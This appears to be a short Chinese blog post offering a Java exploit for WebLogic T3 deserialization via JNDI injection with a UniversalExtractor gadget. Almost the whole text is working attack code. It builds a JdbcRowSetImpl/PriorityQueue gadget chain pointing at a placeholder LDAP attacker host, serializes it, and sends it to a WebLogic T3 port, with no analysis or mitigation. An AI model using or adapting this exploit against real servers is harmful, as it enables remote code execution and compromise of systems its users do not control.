weblogic T3反序列化[UniversalExtractor]JNDI注入(附Exp)

public class Exp {

    public static void main(String[] args) throws Exception {



        JdbcRowSetImpl JdbcRowSetImpl1 = new JdbcRowSetImpl();
        Class clazz = JdbcRowSetImpl.class.getSuperclass();
        Field setDataSource = clazz.getDeclaredField("dataSource");
        setDataSource.setAccessible(true);
        setDataSource.set(JdbcRowSetImpl1,"ldap://xxxxx");


        UniversalExtractor UniversalExtractor1 = new UniversalExtractor("isEmpty()",new Object[]{});
        Field setname = UniversalExtractor1.getClass().getDeclaredField("m_sName");
        setname.setAccessible(true);



        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(UniversalExtractor1));
        queue.add("1");
        queue.add("1");

        Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = JdbcRowSetImpl1;
        queueArray[1] = "1";
        setname.set(UniversalExtractor1,"DatabaseMetaData");

        // serialize
        byte[] payload = Serializables.serialize(queue);

        // T3 send, you can also use python weblogic_t3.py test.ser
        T3ProtocolOperation.send("127.0.0.1", "7001", payload);

        // test
        serialize(queue);

    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!